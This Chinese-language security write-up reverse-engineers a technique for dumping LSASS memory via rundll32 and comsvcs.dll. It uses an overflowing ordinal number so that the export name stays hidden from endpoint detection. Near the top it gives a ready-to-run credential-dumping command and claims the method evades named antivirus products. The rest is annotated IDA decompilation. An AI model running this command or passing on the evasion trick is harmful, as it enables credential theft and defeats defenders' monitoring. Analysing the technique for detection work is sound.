利用整数溢出绕过 EDR 实现 LSASS 进程内存转储
本文分析了通过 rundll32 调用 comsvcs.dll 导出函数进行 LSASS 转储的绕过技术,利用超长数字触发 msvcrt.dll 中_wtoi 函数的整数溢出,使计算结果模 2^32 后恰好等于 MiniDumpW 的导出序号 24。该方法避免了在命令行中出现敏感字符串,成功绕过虎符和数字核晶。
- 参考文章:https://xz.aliyun.com/news/92289
- 目前测试可过虎符和数字核晶,卡巴暂时干不动
一、实现方式
- 把lsass进程(此时PID为680)的完整内存转储到dump.bin文件中,拿到dump文件后,用mimikatz等工具提取密码哈希
rundll32 "C:\Windows\System32\comsvcs.dll,#-9999999999999999999999999999999976" 680 dump.bin full- C++实现的代码放在文末了(AI写的)


- 可能绕过的点
- 不出现
MiniDump字符串:用#-9999999999999999999999999999999976代替函数名 - 利用
rundll32.exe(LOLBins):Windows自带的微软签名程序,杀软不拦截 - 利用整数溢出:超长数字经过
_wtoi内部的溢出运算后恰好等于MiniDumpW的导出序号24
二、前置知识
- 这个章节的知识只是作为了解,后续会在IDA Pro展示逆向分析过程
分析路线
问题 | 文件 | 核心函数 |
dump是怎么实现的 |
|
|
|
|
|
超长数字怎么变成24的? |
|
|
用户执行命令
│
▼
rundll32.exe (加载器)
├── 1. LoadLibraryExW("comsvcs.dll") → 加载目标 DLL
├── 2. _FindCommandFunction(hModule, "#-999...976")
│ ├── 检测到 '#' → 走序号路径
│ ├── 调用 msvcrt.dll!_wtoi("-999...976") → 内部溢出 → 返回 24
│ ├── movzx edx, ax → edx = 24
│ └── GetProcAddress(comsvcs.dll, 24) → 找到 MiniDumpW
└── 3. 调用 MiniDumpW(hwnd, hinst, "680 dump.bin full")
└── comsvcs.dll!MiniDumpW → MiniDumpWriteDump → lsass dump 完成基础知识
PE文件格式与DLL机制
- Windows上所有的
.exe和.dll都是PE文件。区别在于使用方式:
.exe:可以独立运行。操作系统创建进程时,加载PE文件到内存,从入口点开始执行.dll:不能独立运行。它被某个.exe通过LoadLibrary(Windows API函数)加载到自己的进程空间后,才能使用其中的函数
comsvcs.dll是一个DLL,虽然内部有MiniDumpW函数可以用于dumphash,但这个函数不会自己执行,必须通过.exe程序把它加载进来,找到MiniDumpW函数的地址调用它
导出表
- DLL会导出一些函数,意思是“这些函数是公开的,外部程序可以调用”,导出表记录了每个导出函数的三种信息:
- 函数名(Name):如
MiniDumpW - 序号(Ordinal):如
24,是数字编号 - 地址(Address):函数在内存中的实际位置,如
0x1800272B0
- 函数名和序号是等价的查找方式,就像在公司里找人可以叫名字也可以叫工号
comsvcs.dll导出了MiniDumpW,序号是24,所以最终要做的就是让GetProcAddress拿着24去comsvcs.dll里找到这个函数,但不在命令行里直接写#24(杀软可能匹配#24这个模式),所以要找一个看起来无害的数字,经过溢出运算后恰好变成24
导入表
- EXE或DLL会导入其他DLL的函数,导入表记录了:
- 从哪个DLL导入
- 导入了哪些函数
- PE文件加载到内存时,Windows加载器会:
- 加载依赖的DLL → 查找每个导入函数的实际地址 → 把地址填入IAT(导入地址表)
- 之后代码中通过
call cs:__imp__wtoi调用导入函数(__imp__wtoi是IAT 中的一个条目,存着_wtoi在msvcrt.dll中的实际地址)
rundll32.exe的导入表里有_wtoi,说明它需要调用这个函数,通过追踪谁调用了_wtoi,就能找到处理#后面数字的代码
GetProcAddress的核心规则
GetProcAddress是Windows API中的一个函数,用于从DLL中获取指定导出函数或变量的地址通常与LoadLibrary或LoadLibraryEx一起使用,后者用于加载DLL文件- 函数原型如下:https://learn.microsoft.com/zh-cn/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
FARPROC GetProcAddress(
[in] HMODULE hModule,
[in] LPCSTR lpProcName
);
lpProcName参数解释
lpProcName的类型是LPCSTR(const char *,指针),但GetProcAddres需要支持传序号(一个小整数),怎么区分一个值是指针还是序号,规则如下- 如果
lpProcName的高16位为 0,当作序号处理;否则当作指向函数名字符串的指针(字符串指针不会小于65536,而序号通常是小数字(0-65535),高16位为0)
调用方式 |
| 高16位 | 解释 |
| 如 | 非零 | 按函数名查找 |
|
|
| 按序号24查找 |
rundll32调用GetProcAddress时传的值来自_wtoi返回值经过movzx edx, ax处理,movzx取低16位并零扩展,保证高位为0,所以GetProcAddress会按序号查找(_wtoi返回值 →movzx截断 →GetProcAddress按序号)
整数溢出与模运算
- 32位无符号整数(
unsigned int)范围是0到(2^{32}-1) = 4,294,967,295,超过这个范围不会报错,而是自动丢弃溢出的高位,只保留低32位(模运算)
实际结果 = 数学结果 mod 2^32rundll32的工作方式
rundll32.exe是Windows自带工具,可以加载指定DLL并调用其中的导出函数
rundll32 <DLL路径>,<入口点> [参数]- 入口点有两种写法:
写法 | 示例 | rundll32 的处理 |
函数名 |
|
|
|
|
|
- rundll32看到
#开头的入口点时,调用_wtoi转换#后面的字符串,这个_wtoi调用就是触发整数溢出的地方
宽字符与ASCII
- Windows内部使用UTF-16LE编码的宽字符(
wchar_t,2字节/字符),C语言标准字符串(char,1字节/字符)使用ASCII或UTF-8 _wtoi的输入是wchar_t *(宽字符串,Windows 命令行参数是宽字符),GetProcAddress的lpProcName是LPCSTR(ASCII字符串,导出函数名用ASCII存储),rundll32在函数名路径中需要用WideCharToMultiByte转换,但在序号路径中不需要(因为序号是数字不是字符串)
三、IDA Pro逆向分析
分析comsvcs.dll(找到dump的实现)
- 目标:确认
comsvcs.dll导出了MiniDumpW,找到它的序号和地址,分析它内部如何调用MiniDumpWriteDump
文件路径
C:\Windows\System32\comsvcs.dll
查看导出表,找到MiniDumpW
- 操作:
View→Open Subviews→Exports - 此时可以看到
MiniDumpW导出序号为24,地址为0x1800272B0,函数大小为743字节
- 序号
24是本文实现hashdump的目标值,需要让_wtoi的溢出结果恰好等于24(这个24后面会反复出现,现在先记住它) W后缀:Windows API有两个版本:NameW(Unicode/Wide,处理wchar_t和NameA(ANSI,处理char),rundll32用函数名查找时会自动先尝试加W,再尝试加A(这个逻辑在后续分析中会看到)

跳转到MiniDumpW并反编译
- 操作:在导出表中双击
MiniDumpW→ IDA跳转到0x1800272B0→ 按F5反编译


- 反编译代码(关键代码注释)
// Hidden C++ exception states: #wind=1
void __fastcall MiniDumpW(__int64 a1, __int64 a2, const WCHAR *a3)
{
void *v4; // 输出文件句柄
signed int v5; // 临时错误码
signed int v6; // 最终 HRESULT/错误码
wchar_t *v7; // 第一个空格位置
wchar_t *v8; // 保存第一个空格位置
wchar_t *v9; // 第二个空格位置
BOOL v10; // 是否执行 Full Dump
DWORD v11; // 目标进程 PID
HANDLE v12; // 目标进程句柄
unsigned __int16 v13, v14; // SetControl() 参数,反编译未正确恢复
HANDLE FileW; // Dump 文件句柄
signed int LastError; // GetLastError() 返回值
struct _SECURITY_ATTRIBUTES SecurityAttributes;
_BYTE v18[40];
__int64 v19;
__int64 v20;
// 保存展开环境变量后的输入字符串
// 预期格式类似:
// "780 C:\\dump.dmp full"
WCHAR Dst[520];
v20 = -2;
v4 = 0;
memset_0(Dst, 0, sizeof(Dst));
*(_OWORD *)&SecurityAttributes.lpSecurityDescriptor = 0;
memset(v18, 0, sizeof(v18));
v19 = 0;
// 展开输入字符串中的环境变量,例如 %TEMP%
if ( !ExpandEnvironmentStringsW(a3, Dst, 0x207u) )
goto LABEL_2;
// 找到第一个空格,将字符串拆成:
//
// Dst = PID
// v8 + 1 = Dump 文件路径
// v9 + 1 = Dump 类型
//
// 例如:
// "780 C:\\dump.dmp full"
//
// 拆分后:
// Dst -> "780"
// v8 + 1 -> "C:\\dump.dmp"
// v9 + 1 -> "full"
v7 = wcschr(Dst, 0x20u);
v8 = v7;
if ( !v7 || (*v7 = 0, (v9 = wcschr(v7 + 1, 0x20u)) == 0) )
{
// 参数格式错误:E_INVALIDARG
v6 = -2147024809;
goto LABEL_19;
}
// 第二个空格替换为字符串结束符,
// 从而得到第三个参数
*v9 = 0;
// 判断第三个参数是否为 "full"
// 是:执行完整内存 Dump
// 否:执行普通 MiniDump
v10 = _wcsicmp(v9 + 1, L"full") == 0;
// 将第一个参数 PID 字符串转换成 DWORD
v11 = _wtoi(Dst);
// 打开目标进程
//
// 0x410 = PROCESS_QUERY_INFORMATION | PROCESS_VM_READ
v12 = OpenProcess(0x410u, 0, v11);
if ( v12 )
{
// 初始化安全描述符
v6 = CSecDesc::Initialize((CSecDesc *)&v18[8]);
if ( v6 >= 0 )
{
// 允许 SYSTEM 账户访问
v6 = CSecDesc::Allow(
(CSecDesc *)&v18[8],
&CSid::x_sidSystem,
0x101F0000u,
1u);
if ( v6 >= 0 )
{
// 允许本地 Administrators 组访问
v6 = CSecDesc::Allow(
(CSecDesc *)&v18[8],
&CSid::x_sidLocalAdministrators,
0x101F0000u,
1u);
if ( v6 >= 0 )
{
// 设置安全描述符控制属性
// v13/v14 的真实含义需要结合原始函数定义确认
v6 = CSecDesc::SetControl(
(CSecDesc *)&v18[8],
v13,
v14);
if ( v6 >= 0 )
{
// 初始化 SECURITY_ATTRIBUTES
SecurityAttributes.nLength = 24;
// 指定前面创建的安全描述符
SecurityAttributes.lpSecurityDescriptor =
*(PVOID *)&v18[8];
// 不允许句柄被子进程继承
SecurityAttributes.bInheritHandle = FALSE;
// 创建 Dump 文件
//
// v8 + 1 = 输出文件路径
//
// 0xC0000000 = GENERIC_READ | GENERIC_WRITE
// 1 = FILE_SHARE_READ
// 1 = CREATE_NEW
// 0x80 = FILE_ATTRIBUTE_NORMAL
FileW = CreateFileW(
v8 + 1,
0xC0000000,
1u,
(LPSECURITY_ATTRIBUTES)&SecurityAttributes,
1u,
0x80u,
0);
v4 = FileW;
// 调用 MiniDumpWriteDump 对目标进程进行转储
//
// full:
// MiniDumpWithHandleData
// |
// MiniDumpWithFullMemory
//
// 非 full:
// MiniDumpNormal
if ( FileW == (HANDLE)-1LL
|| !MiniDumpWriteDump(
v12, // 目标进程句柄
v11, // PID
FileW, // Dump 文件句柄
v10
? MiniDumpWithHandleData |
MiniDumpWithFullMemory
: MiniDumpNormal,
0,
0,
0) )
{
// 获取失败原因
LastError = GetLastError();
v6 = LastError;
// Win32 Error → HRESULT
// 例如:
// ERROR_ACCESS_DENIED (5)
// → 0x80070005
if ( LastError > 0 )
v6 = (unsigned __int16)LastError | 0x80070000;
}
}
}
}
}
// 关闭目标进程句柄
CloseHandle(v12);
// 关闭 Dump 文件句柄
if ( v4 )
CloseHandle(v4);
}
else
{
LABEL_2:
// OpenProcess() 失败,获取错误码
v5 = GetLastError();
v6 = v5;
// Win32 Error → HRESULT
if ( v5 > 0 )
v6 = (unsigned __int16)v5 | 0x80070000;
}
// 如果执行过程中出现错误,直接退出进程
if ( v6 < 0 )
LABEL_19:
ExitProcess(v6);
// 释放安全描述符对象
CSecDesc::~CSecDesc((CSecDesc *)&v18[8]);
}- 关键:
MiniDumpW的第三个参数a3(cmdline)就是rundll32传过来的命令行参数。当用户执行rundll32 "comsvcs.dll,#24" 680 dump.bin full时,680 dump.bin full这部分就作为a3传给了MiniDumpW

- MiniDumpWriteDump签名(来自
dbghelp.dll):MiniDumpWithFullMemory会转储进程的完整内存,包括存储NTLM/Kerberos哈希的内存区域,这就是dump hash的原理
// 函数原型
BOOL MiniDumpWriteDump(
HANDLE hProcess, // 目标进程句柄
DWORD ProcessId, // 进程 PID
HANDLE hFile, // 输出文件句柄
MINIDUMP_TYPE DumpType, // dump 类型
PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,
PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,
PMINIDUMP_CALLBACK_INFORMATION CallbackParam
);
MiniDumpW的工作流程
- 从反编译代码可以分析大致的执行顺序
输入
PID + Dump路径 + Dump类型
例如:
"680 C:\dump.bin full"
│
↓
ExpandEnvironmentStringsW()
展开环境变量
例如 %TEMP% → C:\Users\xxx\AppData\Local
│
↓
wcschr()
按空格分割参数
│
├── PID → "680"
├── 路径 → "C:\dump.bin"
└── 类型 → "full"
│
↓
_wtoi()
将 PID 字符串转换为整数
"680" → 680
│
↓
OpenProcess()
打开 PID = 680 的目标进程
(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ)
│
↓
CSecDesc::Initialize()
创建并初始化安全描述符
│
↓
CSecDesc::Allow()
允许 SYSTEM 和 Administrators 访问
│
↓
CreateFileW()
创建 Dump 输出文件
│
↓
MiniDumpWriteDump()
执行真正的进程内存转储
│
├── full
│ ↓
│ MiniDumpWithFullMemory
│ + MiniDumpWithHandleData
│
└── 非 full
↓
MiniDumpNormal
│
↓
CloseHandle()
关闭进程句柄
关闭 Dump 文件句柄
│
↓
CSecDesc::~CSecDesc()
释放安全描述符
│
↓
完成- 真正完成Dump的核心就是
MiniDumpWriteDump(
v12, // 目标进程
v11, // PID
FileW, // 输出文件
v10
? MiniDumpWithHandleData |
MiniDumpWithFullMemory // full
: MiniDumpNormal, // 普通
0,
0,
0
);- 总的来说
comsvcs.dll导出了MiniDumpW,它接收"PID 文件路径 类型"参数,内部调用MiniDumpWriteDump完成内存转储 - 现在我们知道目标函数是
MiniDumpW(序号24)。但实际我们执行的命令中没有写MiniDumpW也没有写#24,而是写了#-9999999999999999999999999999999976,这个超长数字是如何变成24的,我们需要分析rundll32.exe,看它怎么处理#后面的字符串
分析rundll32.exe(找到函数解析逻辑)
- 目标:理解rundll32如何解析
#-9999999999999999999999999999999976这个入口点字符串,如何调用_wtoi,如何用结果调用GetProcAddress
打开文件
- 文件路径
C:\Windows\System32\rundll32.exe
查看导入表
- 操作:
View→Open Subviews→Imports - 此时可以看到导入表中有三个关键函数,这说明
rundll32会加载某个DLL,然后用_wtoi解析数字,接着用GetProcAddress查找函数
_wtoi(字符串转整数)

- `LoadLibraryExW`(加载 DLL)
- `GetProcAddress`(查找导出函数)
分析_wtoi(找到调用者)
- 思路:
_wtoi比较特殊,普通的程序不一定需要字符串转整数,但rundll32需要它来解析#后面的序号,所以应该从_wtoi的调用者入手,找到处理#的代码 - 操作:
- 在导入表中双击
_wtoi(地址0x14000C890),IDA会跳转到该地址(IAT中的一个指针条目)

- 在`__imp__wtoi`上按`X`(交叉引用),会弹出交叉引用列表,此时可以看到`_wtoi`被一个函数调用,该函数的符号名如下?_FindCommandFunction@@YAP6AXPEAUHWND__@@PEAUHINSTANCE__@@PEBGH@Z12PEAH@Z
反编译_FindCommandFunction
- 操作:双击
_FindCommandFunction函数名,进入汇编视图,然后F5反编译


- 代码注释如下
// 根据用户指定的命令字符串,在 DLL 中查找要执行的导出函数。
// 支持两种形式:
// 1. "#123" -> 按 Ordinal 查找
// 2. "Function" -> 依次尝试 FunctionW、FunctionA、Function
void (*__fastcall _FindCommandFunction(
HINSTANCE hModule,
LPCWCH lpWideCharStr,
int *a3))(HWND, HINSTANCE, const unsigned __int16 *, int)
{
FARPROC ProcAddress = 0;
// 如果命令以 '#' 开头,例如 "#100",
// 则将后面的数字转换成 Ordinal,通过 GetProcAddress 按序号查找导出函数。
if (*lpWideCharStr == '#' && lpWideCharStr[1])
{
unsigned __int16 ordinal = _wtoi(lpWideCharStr + 1);
return (void (*)(HWND, HINSTANCE, const unsigned __int16 *, int))
GetProcAddress(hModule, (LPCSTR)ordinal);
}
else
{
// 普通函数名:先计算 Unicode 字符串长度,
// 然后转换成 ANSI 字符串,因为 GetProcAddress 接收 LPCSTR。
__int64 len = -1;
__int64 pos = -1;
do
++len;
while (lpWideCharStr[len]);
int size = len + 1;
CHAR *name = (CHAR *)LocalAlloc(0, 2 * size + 2);
CHAR *buffer = name;
if (name)
{
if (WideCharToMultiByte(
0, 0x400,
lpWideCharStr, size,
name, 2 * size,
0, 0))
{
// 找到 ANSI 字符串末尾,准备临时修改最后一个字符。
do
++pos;
while (buffer[pos]);
buffer[pos + 1] = 0;
// 第一优先级:尝试 xxxW。
// 例如输入 "Test",首先查找 "TestW"。
buffer[pos] = 'W';
ProcAddress = GetProcAddress(hModule, buffer);
if (!ProcAddress)
{
// xxxW 不存在,则回退到 xxxA。
// a3 = 1 表示发生了 W -> A 的回退。
*a3 = 1;
buffer[pos] = 'A';
ProcAddress = GetProcAddress(hModule, buffer);
if (!ProcAddress)
{
// xxxA 也不存在,最后尝试不带后缀的原始函数名。
buffer[pos] = 0;
ProcAddress = GetProcAddress(hModule, buffer);
}
}
}
LocalFree(buffer);
}
}
// 返回最终找到的导出函数地址;如果全部查找失败则返回 NULL。
return (void (*)(HWND, HINSTANCE, const unsigned __int16 *, int))
ProcAddress;
}_FindCommandFunction的两条路径
- 这个函数有两条执行路径,取决于入口点字符串的首字符:
- 路径一(序号路径):首字符是
#
- 跳过
#,取后面的字符串 - 调用
_wtoi把字符串转成整数 - 用该整数作为ordinal(序号)调用
GetProcAddress
- 路径二(函数名路径):首字符不是
#
- 把宽字符函数名转成ANSI
- 依次尝试
name+W、name+A、原始name调用GetProcAddress
输入:DLL句柄 + 命令字符串
│
▼
是否是 "#Ordinal"?
┌────┴────┐
是 否
│ │
▼ ▼
按Ordinal查找 函数名查找
│
▼
FunctionW
│
失败
▼
FunctionA
│
失败
▼
Function- 思考:本文中走的是路径一,关键在于
_wtoi的返回值被当作ordinal传给GetProcAddress,如果_wtoi返回24,GetProcAddress就按ordinal = 24查找,恰好是MiniDumpW - 但这里有个问题:从反编译代码可以看到,
_wtoi的返回值类型是int(32位),但被赋值给unsigned __int16(16位),这意味着只有低16位被保留

查看上层调用者
_FindCommandFunction负责查找函数,但它接收的hModule从哪来?入口点字符串从哪来?找到函数后谁调用它?此时需要看上层调用者- 操作:在
_FindCommandFunction上按X,找到调用者_InitCommandInfo,然后双击进入_InitCommandInfo函数


- 代码注释如下
__int64 __fastcall _InitCommandInfo(
HINSTANCE a1,
const unsigned __int16 *a2,
const unsigned __int16 *a3,
const unsigned __int16 *a4,
HINSTANCE *a5,
void (**a6)(HWND, HINSTANCE, const unsigned __int16 *, int),
char **a7)
{
void (*CommandFunction)(HWND, HINSTANCE, const unsigned __int16 *, int); // 最终要调用的 DLL 导出函数
HINSTANCE v10; // rundll32.exe 自身的模块句柄
unsigned int v12; // 函数最终返回值:1 表示成功,0 表示失败
HMODULE Library; // 目标 DLL 加载后的模块句柄
DWORD LastError; // LoadLibraryExW() 失败后的错误码
DWORD v15;
int v16; // _FindCommandFunction() 返回的状态,表示是否回退到了 xxxA
__int64 v17;
int v18;
CHAR *v19; // 转换后的 ANSI 参数
const unsigned __int16 *v20;
unsigned int v21;
int cbMultiByte[2]; // [0] 用于保存状态/转换所需字节数
char **v24;
HINSTANCE *v25;
void (**v26)(HWND, HINSTANCE, const unsigned __int16 *, int);
WCHAR v27[200]; // 错误信息缓冲区
WCHAR Buffer[264]; // 系统错误信息缓冲区
CommandFunction = 0;
v10 = g_hInstance;
/*
* 初始化所有输出参数。
*
* a5:最终返回目标 DLL 的 HINSTANCE
* a6:最终返回 DLL 导出函数地址
* a7:如果调用的是 xxxA,则保存转换后的 ANSI 命令行参数
*/
*a5 = 0;
*a6 = 0;
v12 = 0;
*a7 = 0;
v26 = a6;
v24 = a7;
v25 = a5;
/*
* 第一步:加载用户指定的 DLL。
*
* a2 就是 rundll32 命令行中指定的 DLL 路径。
*
* LOAD_WITH_ALTERED_SEARCH_PATH 会影响 DLL 的搜索路径,
* rundll32 使用这个标志加载目标 DLL。
*/
Library = LoadLibraryExW(a2, 0, 8u);
if (!Library)
{
/*
* DLL 加载失败。
*
* 这里首先获取具体的 Windows 错误码,然后根据错误码生成
* 对应的错误信息,最后交给 _DisplayErrorMessage() 显示。
*/
LastError = GetLastError();
/*
* 193 = ERROR_BAD_EXE_FORMAT。
*
* 在 rundll32 场景下,这个错误比较重要:
* 常见情况是 rundll32 与目标 DLL 位数不匹配,例如:
*
* 32 位 rundll32 -> 加载 64 位 DLL
* 64 位 rundll32 -> 加载 32 位 DLL
*
* 所以这里额外调用 _TryWow64Scenario(),
* 尝试处理 WOW64/位数不匹配相关情况。
*/
if (LastError == 193)
{
if ((unsigned int)_TryWow64Scenario(a2))
return v12;
/*
* WOW64 场景处理失败后,使用错误码 0xC1
* 生成对应的系统错误文本。
*/
*(_QWORD *)cbMultiByte = a2;
v15 = FormatMessageW(
0x3000u,
0,
0xC1u,
0,
Buffer,
0x104u,
(va_list *)cbMultiByte);
}
else
{
/*
* 其他错误直接根据 GetLastError() 返回的错误码
* 获取系统对应的错误描述。
*/
v15 = FormatMessageW(
0x1200u,
0,
LastError,
0,
Buffer,
0x104u,
0);
}
/*
* 获取 rundll32 自己资源中的错误提示字符串,
* 然后将 DLL 路径、错误信息等交给 _DisplayErrorMessage()
* 显示给用户。
*/
if (v15 && LoadStringW(v10, 0x401u, v27, 200))
_DisplayErrorMessage(
v10,
(unsigned int)a2,
Buffer,
v27);
}
/*
* 如果 Library 非 NULL,说明目标 DLL 已经成功加载。
*
* 接下来进入真正的“解析命令”阶段:
*
* DLL 已加载
* ↓
* 查找指定导出函数
* ↓
* 准备命令行参数
*/
if (Library)
{
v16 = 0;
cbMultiByte[0] = 0;
/*
* 第二步:查找 DLL 中需要执行的导出函数。
*
* 这里调用的就是前面分析过的 _FindCommandFunction()。
*
* 它内部支持:
*
* "#123"
* -> 按 Ordinal 查找
*
* "Function"
* -> FunctionW
* -> FunctionA
* -> Function
*
* cbMultiByte[0] 会被 _FindCommandFunction() 用作状态值:
*
* 0 -> 没有发生 W -> A 回退
* 1 -> FunctionW 不存在,最终尝试 FunctionA
*/
if (a3)
{
CommandFunction = _FindCommandFunction(
Library,
a3,
cbMultiByte);
v16 = cbMultiByte[0];
}
/*
* 如果成功找到了导出函数,CommandFunction 就是最终的函数地址。
*/
if (CommandFunction)
{
v12 = 1;
/*
* 如果没有发生 W -> A 回退,
* 或者根本没有提供命令行参数,
* 就不需要进行额外的参数转换。
*
* 直接把 DLL 句柄和函数地址保存到输出参数,
* 后续代码就可以直接调用这个函数。
*
* 只有在找到 xxxA,并且存在命令行参数时,
* 才需要把 Unicode 参数转换成 ANSI。
*/
if (!v16 || !a4 || !*a4)
goto LABEL_20;
/*
* 由于最终找到的是 xxxA,
* 后续调用的 DLL 函数期望接收 ANSI 字符串。
*
* 但是 rundll32 接收到的命令行参数 a4 是 Unicode 字符串,
* 所以这里需要执行:
*
* Unicode 参数
* ↓
* ANSI 参数
*
* 首先计算 a4 的 Unicode 字符串长度。
*/
v17 = -1;
do
++v17;
while (a4[v17]);
v18 = v17 + 1;
/*
* 第一次调用 WideCharToMultiByte()。
*
* 最后两个输出参数传入 NULL/0,
* 因此这里并不是实际转换,而是在计算:
*
* Unicode 字符串转换成 ANSI 后需要多少字节。
*/
cbMultiByte[0] = WideCharToMultiByte(
0,
0x400u,
a4,
v18,
0,
0,
0,
0);
/*
* 根据上一步得到的大小申请 ANSI 字符串缓冲区。
*/
v19 = (CHAR *)LocalAlloc(
0,
cbMultiByte[0]);
if (v19)
{
/*
* 第二次调用 WideCharToMultiByte(),
* 这次提供实际的输出缓冲区,
* 因此真正完成 Unicode -> ANSI 转换。
*/
WideCharToMultiByte(
0,
0x400u,
a4,
v18,
v19,
cbMultiByte[0],
0,
0);
/*
* 保存转换后的 ANSI 参数。
*
* 后续真正调用 xxxA 函数时,
* 就可以使用这个 ANSI 字符串。
*/
*v24 = v19;
LABEL_20:
/*
* 到这里,执行目标所需要的信息已经全部准备完成:
*
* a5 = DLL 模块句柄
* a6 = 导出函数地址
* a7 = ANSI 命令行参数(如果 xxxA 需要)
*
* 返回 1 表示初始化成功。
*/
*v25 = Library;
*v26 = CommandFunction;
return v12;
}
/*
* 如果 ANSI 参数缓冲区申请失败,
* 则加载资源中的错误提示并显示错误。
*/
if (LoadStringW(v10, 0x300u, v27, 200))
{
v20 = 0;
v21 = (unsigned int)a4;
LABEL_25:
_DisplayErrorMessage(
v10,
v21,
v20,
v27);
}
}
else if (LoadStringW(v10, 0x400u, v27, 200))
{
/*
* CommandFunction == NULL,
* 说明 _FindCommandFunction() 没有找到指定的导出函数。
*
* 此时显示类似“找不到指定过程/入口点”的错误信息。
*/
v20 = a3;
v21 = (unsigned int)a2;
goto LABEL_25;
}
/*
* 只要后续的函数查找或者参数处理失败,
* 就释放之前成功加载的 DLL,避免留下模块引用。
*/
FreeLibrary(Library);
return 0;
}
/*
* LoadLibraryExW() 本身失败,
* 前面已经完成错误处理,因此返回失败。
*/
return v12;
}_InitCommandInfo是rundll32的核心调度函数:
LoadLibraryExW加载comsvcs.dll,得到hModule_FindCommandFunction(hModule, "#-999...976", ...),得到MiniDumpW地址- 保存函数指针,后续直接调用它
- 把
_FindCommandFunction和这个函数连起来看,这个逻辑大致如下
rundll32.exe
│
▼
_InitCommandInfo()
│
│
LoadLibraryExW()
│
▼
加载目标 DLL
│
▼
_FindCommandFunction()
│
┌───────────┴───────────┐
│ │
"#123" "Function"
│ │
▼ ▼
Ordinal查找 FunctionW
│
失败
▼
FunctionA
│
失败
▼
Function
│ │
└───────────┬───────────┘
│
▼
得到函数地址
│
▼
如果是 xxxA 且有参数
│
▼
Unicode → ANSI
│
▼
┌──────────────┴──────────────┐
│ │
a5 = DLL句柄 a6 = 函数地址
│ │
└──────────────┬──────────────┘
│
▼
返回初始化成功- 所以从
rundll32的整体执行流程来看,_InitCommandInfo()可以理解成一个“执行前的初始化/准备函数”:加载 DLL → 找到 DLL 导出函数 → 根据函数类型处理参数 → 把后续真正调用函数所需要的 DLL 句柄、函数地址和参数准备好
总结
- 现在大致理解了
rundll32的完整逻辑:
- 解析命令行,分离DLL路径、入口点、参数
- 加载DLL
- 用
_FindCommandFunction查找导出函数(#路径 →_wtoi→GetProcAddress) - 调用找到的函数
- 下一步思考:关键在于
_wtoi("-9999999999999999999999999999999976")返回24。但-9999999999999999999999999999999976是一个 35 位的负数,_wtoi是字符串转整数的函数,它怎么把这么大的数字变成24,这需要分析msvcrt.dll中_wtoi的内部实现
分析msvcrt.dll(找到溢出根源)
- 目标:分析
_wtoi→wcstolX→wcstoxlX三层调用链,理解整数溢出的完整机制:为什么a6=1参数会导致溢出不停止,累加循环怎么工作,neg指令怎么把溢出结果变成24
找到 _wtoi
- 文件路径
C:\Windows\System32\msvcrt.dll- 查看导出表,找到
_wtoi

反编译_wtoi
- 此时双击跳转到
0x110105DA0,按F5进行反编译


// 将宽字符串转换为十进制整数。
// 这里是 msvcrt.dll 中 _wtoi() 的实现。
// 例如:L"123" -> 123,L"-10" -> -10
int __cdecl wtoi(const wchar_t *String)
{
int result; // 返回值
// 默认返回 0。
// 如果传入的字符串指针为空,则直接返回 0。
result = 0;
if (String)
{
// 将宽字符串按十进制转换为整数。
//
// 等价理解为:
// wcstolX(String, NULL, 10, 1)
//
// 第三个参数 10 表示按照十进制解析。
// 例如:
// L"123" -> 123
// L"456" -> 456
//
// 在前面的 rundll32 代码中,
// 这里用于将 "#24" 中的 "24" 转换成 Ordinal
return wcstolX(String, 0, 10, 1);
}
return result;
}- 函数签名:
int _wtoi(const wchar_t *String)在这里的作用是宽字符字符串转int(32位有符号),正常情况下输入"24"返回24,输入"-24"返回-24 - 关键:
_wtoi只是wcstolX的包装,它传入了a4 = 1(第四个参数值),这个a4最终会传到wcstoxlX的a6参数,是溢出能继续计算的关键

- 此时需要进入
wcstolX看a4怎么传给wcstoxlX
反编译wcstolX
- 双击
wcstolX进入反编译试图
// wcstolX() 是 _wtoi() 与底层宽字符串数值转换函数之间的中间包装层。
// a1/a2/a3 在这里没有实际参与后续转换,真正继续向下传递的是 a4。
__int64 __fastcall wcstolX(
__int64 a1,
__int64 a2,
__int64 a3,
int a4)
{
_locale_tstruct *v4;
/*
* 根据当前 CRT 的 Locale 状态选择 Locale 信息。
*
* _locale_changed != 0:
* 表示程序运行过程中修改过 Locale,
* 这里传 NULL,让后面的 wcstoxlX() 使用当前 Locale。
*
* _locale_changed == 0:
* 表示仍使用 CRT 默认的初始 Locale,
* 因此直接使用 _initiallocalestructinfo。
*/
if (_locale_changed)
v4 = 0;
else
v4 = &_initiallocalestructinfo;
/*
* 继续调用底层转换函数。
* 这里最值得注意的是:
* _wtoi()
* ↓
* wcstolX(..., a4 = 1)
* ↓
* wcstoxlX(v4, 0, a4)
* 所以 _wtoi() 传入的 a4 = 1
* 在这里又原样传给了 wcstoxlX()
*/
return wcstoxlX(v4, 0, a4);
}- 这里
wcstolX也是包装函数,它做了locale处理,然后把a4=1透传给wcstoxlX的第6个参数a6 - 目前这条调用链可以整理成如下
_wtoi(String)
│
▼
wcstolX(String, 0, 10, 1)
│
│ a4 = 1
▼
wcstoxlX(v4, 0, 1)- 下一步的参数映射
_wtoi(String)
└── wcstolX(String, NULL, 10, a4=1)
└── wcstoxlX(locale, String, NULL, base=10, flags=0, a6=1)反编译wcstoxlX(真正执行字符串到整数转换)
- 双击
wcstoxlX进入反编译视图

- 调用链
_wtoi(String)
↓
wcstolX(String, 0, 10, 1)
↓
wcstoxlX(Locale, String, NULL, 10, 0, 1)初始化、参数检查和符号处理
__int64 __fastcall wcstoxlX(
struct localeinfo_struct *a1, // locale 信息
wint_t *a2, // 要转换的宽字符串
wint_t **a3, // endptr,保存转换结束位置
unsigned int a4, // 进制,这里 _wtoi 传入 10
int a5, // 初始 flags,这里为 0
int a6 // 关键参数,_wtoi 传入 1
)
{
wint_t *v9; // 当前字符指针
wint_t v10; // 当前正在处理的字符
unsigned int v11; // 最终的数值累加器
int v12; // flags
unsigned int v13; // 溢出判断上限
unsigned int v14; // 当前字符转换得到的数字
int v15; // 字母转换临时变量
wint_t *v16; // 最终 endptr
__int64 result; // 返回值
// 根据传入的 locale 信息初始化 Locale 环境
_LocaleUpdate::_LocaleUpdate(
(_LocaleUpdate *)&Locale,
a1);
// 如果调用者提供了 endptr,
// 默认先让 *a3 指向字符串开头
if (a3)
*a3 = a2;
// 参数检查:
// a2 不能为 NULL;
// a4 如果非 0,则必须是合法进制范围
